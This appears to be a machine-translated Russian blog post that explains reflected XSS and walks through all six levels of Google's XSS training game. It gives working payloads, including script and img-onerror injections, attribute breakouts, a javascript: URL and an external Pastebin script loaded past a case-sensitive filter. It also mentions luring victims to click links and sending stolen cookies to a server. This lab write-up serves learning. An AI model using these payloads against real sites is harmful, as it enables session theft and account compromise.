Это будет длинная серия сообщений о межсайтовом скриптинге. У меня был некоторый опыт с этим в прошлом, но я бы солгал, если бы сказал, что выполнил более 5 задач XSS в своей жизни, однако на данный момент я намного превзошел это и делаю то, что я узнал, на бумаге. (или компьютер). Я собираюсь пройтись по ключевым концепциям, которые я изучил, некоторым интересным техникам, которые я усвоил, и напишу пошаговое описание 6-уровневого задания XSS, которое я выполнил.
Что такое Reflected XSS
Что важно понимать, по крайней мере для меня, - это постоянно напоминать себе, что Reflected XSS специально занимается HTTP-запросами и тем, как сервер реагирует на отправленные вами вредоносные данные. Если я отправлю Javascript на сервер, и он немедленно ответит на мой запрос Javascript где-нибудь в HTML, то он восприимчив к XSS (в этом есть много нюансов, но это основа). Сейчас это не кажется запутанным, но когда я добрался до DOM (объектной модели документа) XSS, о котором я расскажу в более позднем посте, это сильно сбило меня с толку, потому что оба они казались мне одинаковыми. ОНИ НЕ.
Ниже приведен супер базовый пример XSS, который вы больше никогда не найдете на реальном веб-сайте:
http://notsospooky.site/search?term={some_value}
Если вместо обычного значения, такого как Who is stronger, Saitama Sensei or Naruto
, я ввожу что-то вроде
http://notsospooky.site/search?term=<script>alert(1)</script>
и сервер отвечает
<p>You searched for: <script>alert(1)</script></p>
тогда это приложение испорчено и у него есть XSS.
Вот и все, что такое Reflected XSS. Я знаю, что это немного, но есть много источников с очень подробными объяснениями. Я здесь, чтобы высказать свое мнение обо всем. Вкратце, Reflected XSS - это уязвимость, при которой вы отправляете вредоносный Javascript в HTTP-запросе, а сервер обрабатывает неожиданный ввод и возвращает его в ответ. Чтобы использовать этот тип XSS в атаке, вы должны заставить жертву (СОЦИАЛЬНЫЙ ЭНГИНЕР) щелкнуть ссылку, содержащую вредоносный код.
По сути, вам нужно найти способ заставить их щелкнуть http://notsospooky.site/search?term=<script>alert(1)</script>
, чтобы этот скрипт запустился в их браузере.
Мой (ручной) процесс поиска XSS
Есть способы автоматизировать поиск XSS; есть даже многоязычные полезные нагрузки, которые вы можете просто вставить разными по разным параметрам, и они могут запускать XSS, если он существует; тем не менее, я стремлюсь стать одним из лучших хакеров, и, хотя я хочу участвовать в раздаче багов и заработать серьезный банк, я все же хочу знать, почему определенная полезная нагрузка будет работать. Мой самый большой страх - быть чертовым детишкой по сценариям.
Вот мои шаги:
- Я тестирую КАЖДЫЙ ввод. Следует изучить каждую точку входа в HTTP-запросе приложения. Сюда входят параметры или другие данные в строке запроса URL и теле сообщения, а также путь к файлу URL. Важно знать, что делает каждая переменная в запросе и на что она влияет. Взлом 1337 требует терпения, терпения, чтобы понять, как работает приложение и какие части влияют на другие части. При просмотре приложения все поля ввода создаются одинаково. Протестируйте.
- Как только я определил все потенциальные точки входа для моей будущей вредоносной полезной нагрузки, я затем отправляю случайную строку в запрос и смотрю, отражается ли она в ответе.
- Если это отражено в ответе, я пытаюсь понять его контекст. Отправив случайную буквенно-цифровую строку, я ищу ее точное местоположение. Это между тегами HTML, в атрибуте тега или обработчиках событий (например:
href
,onload
,onerror
и т. Д.), Заключено ли оно в кавычки, в тегах сценария? Хорошо разбирайтесь в HTML и Javascript, и это поможет вам на этом этапе. - Протестируйте полезные нагрузки. Чего мы все ждали. Стандартный способ доказать, что сайт восприимчив к XSS, - это распечатать печально известное поле
alert(1)
. Тем не менее, я читал, что лучше иметь лучший PoC, который доказывает, что, если бы злоумышленник нашел XSS, он действительно мог бы что-то сделать с уязвимостью, чтобы трахнуть приложение. Для этого я выбираюalert(document.cookie)
(более сложный, я знаю), который будет отображать файлы cookie пользователей в окне предупреждения. В конце концов, я настрою облачный сервер, и мои PoC XSS будут включать отправку cookie на мой сервер - не принесет много пользы, если вы можете показать cookie только тому пользователю, которому он принадлежит;). В любом случае, вернемся к полезной нагрузке:
- Прямо сейчас я буду противоречить себе и скажу, что я начинаю каждый тест с простой
<script>alert(1)</script>
полезной нагрузки, потому что это позволяет мне понять, как приложение обрабатывает специальные символы, теги скриптов и методы Javscript. Затем я поиграю с полезными нагрузками, чтобы избежать кодирования, двойного кодирования, черных списков или чего-либо еще, что приложение использует для предотвращения выполнения Javascript. Однако я понимаю, что эта информация не является конкретной, и это также было моей самой большой проблемой при изучении XSS. Я думаю, что лучший способ понять XSS - это решать множество проблем и бороться с ними, потому что тогда вы действительно узнаете методы и нюансы уязвимости.
Первое из многих испытаний, которые я выполню, можно увидеть ниже. Ниже приводится описание шести уровней с https://xss-game.appspot.com/, супер классного веб-сайта, созданного Google, чтобы помочь людям узнать больше о XSS. Надеюсь, эта статья прольет свет на различные методы, которые можно использовать для эксплуатации XSS.
XSS Game AppSpot
1-й уровень
Это слишком просто, лол. Если вы посмотрите исходный код, он принимает запрос, а затем возвращает его. Буквально ничего не делает. Ооооооооооооооооооооооооооооооооооооооооооооооооооооооооооооооо <script>alert(1)</script>
сделает свое дело.
Уровень 2
Этот уровень тоже крайне тривиален. Однако вышеуказанная полезная нагрузка не будет работать. Если мы посмотрим на страницу, мы увидим, что в полях комментариев один пользователь использовал HTML для стилизации комментария, а в сообщении под ним, похоже, есть тег img
, который не смог загрузить правильное изображение, что объясняет крошечный серый квадрат. Обе эти подсказки указывают, что правильная полезная нагрузка будет <img src=x onerror=alert(1)>
. Еще одна простая полезная нагрузка, где src
- ссылка на изображение, и в случае ошибки будет вызываться onerror
. В этом случае он вызовет alert(1)
.
Уровень 3
Наконец, уровень, который требует, чтобы вы действительно понимали базовый Javascript. При взгляде на исходный код вам следует обратить внимание на следующие строки:
var html = "Image " + parseInt(num) + "<br>";
html += "<img src='/static/level3/cloud" + num + ".jpg'/>";
Здесь мы видим, что num
берется из строки запроса URL и на основе его значения загружает определенное изображение. Однако интересно то, что мы можем вырваться из этого тега img
и создать новый. Мы могли бы использовать '
, чтобы закрыть текущий тег, а затем следовать за ним с помощью <img src=x onerror=alert(1)>
, чтобы конечная полезная нагрузка была '<img src=x onerror=alert(1)>
Уровень 4
Этот уровень - еще один пример выхода из текущего контекста HTML. Важная строка в исходном коде:
<img src="/static/loading.gif"onload="startTimer('{{ timer }}');"/>
startTime - это метод Javascript, который принимает один аргумент, количество секунд для обратного отсчета. Однако в этом теге img
мы видим, что, как и на уровне 3, можно выйти из текущего контекста и вызвать предупреждение. Чтобы сначала выйти из onload
, мы должны ввести ');
, фактически создавая:
<img src="/static/loading.gif "onload="startTimer('{{ ');}}');"/>
Теперь у нас есть метод startTimer
, принимающий строку {{
в качестве параметра. Затем мы можем легко вставить alert(1);
после вызова метода, чтобы вызвать наш Javascript, а затем, после того, как мы добавим //
, чтобы закомментировать остальную часть кода, чтобы предотвратить любые ошибки. Последняя полезная нагрузка - ');alert(1);//
, и ее можно найти в теге img
как
<img src="/static/loading.gif "onload="startTimer('{{ ')alert(1);//}}');"/>
5 уровень
Этот уровень проще, чем ожидалось. Подсказка содержится в заголовке Протокол нарушения. Можно вызвать Javascript, используя протокол javascript:
. Поэтому, когда я увидел название этого испытания, я подумал, что это то, что мы должны были сделать, и, к счастью, мое предположение оказалось правильным. Поскольку на этом уровне было несколько страниц, я сначала прошел по сайту и отслеживал все его поведение, прежде чем попытаться вставить полезную нагрузку. Когда вы перейдете на страницу Enter Email
, вы увидите URL-адрес:
https://xss-game.appspot.com/level5/frame/signup?next=confirm
и ваша первая мысль должна быть о том, что произойдет, если вы измените значение переменной next
. Изменив его на test
, я заметил, что меня перенаправили обратно на домашнюю страницу, но с test
, отраженным в URL-адресе.
https://xss-game.appspot.com/level5/frame/test
Итак, я подумал, что эта переменная была точкой входа для нашей полезной нагрузки XSS, и так оно и было. Используя протокол javascript:
, я просто использовал javascript:alert(1)
и активировал XSS.
Окончательная полезная нагрузка была: https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)
6 уровень
Наверное, это был мой самый любимый уровень. Уровень объясняет, что мы должны найти способ заставить приложение делать запрос внешнего файла, и нам дается строка url:
https://xss-game.appspot.com/level6/frame#/static/gadget.js
Все, что находится после хеша, будет тем, что запрашивает сайт. Итак, мы захотим разместить файл с alert(1)
(так как это цель для этих задач). Обычно вам нужно что-то более захватывающее во внешнем размещенном файле. Например, у вас может быть сценарий кейлоггера, который при загрузке будет записывать все, что пользователь вводит в приложении. В любом случае я отвлекся.
Если вам лень настраивать сервер (я) или вы не знаете, как это сделать, Pastebin (супер-пупер-хакерский сайт) позволяет размещать файлы. Зная это, я создал пасту с alert(1)
. Затем в URL-адресе я помещаю этот URL-адрес Pastebin после хеша. Однако я использовал необработанный формат, потому что хочу, чтобы приложение извлекало необработанные данные (избыточные, но верные) из вставки, то есть alert(1)
. Кроме того, при просмотре исходного кода есть регулярное выражение, которое соответствует http/https
, поэтому, чтобы обойти это, я просто изменил h
на H
(это могла быть любая буква). Окончательная полезная нагрузка:
https://xss-game.appspot.com/level6/frame#Https://pastebin.com/raw/GrTVzqBq
Сайт сделает запрос по этому URL-адресу, извлечет из него данные и, если есть Javascript, выполнит его.
На этом пока все. Спасибо за прочтение! Я много фокусируюсь на XSS, поэтому будет гораздо больше сообщений о различных задачах, которые я выполняю, и о различных методах, которые я изучу!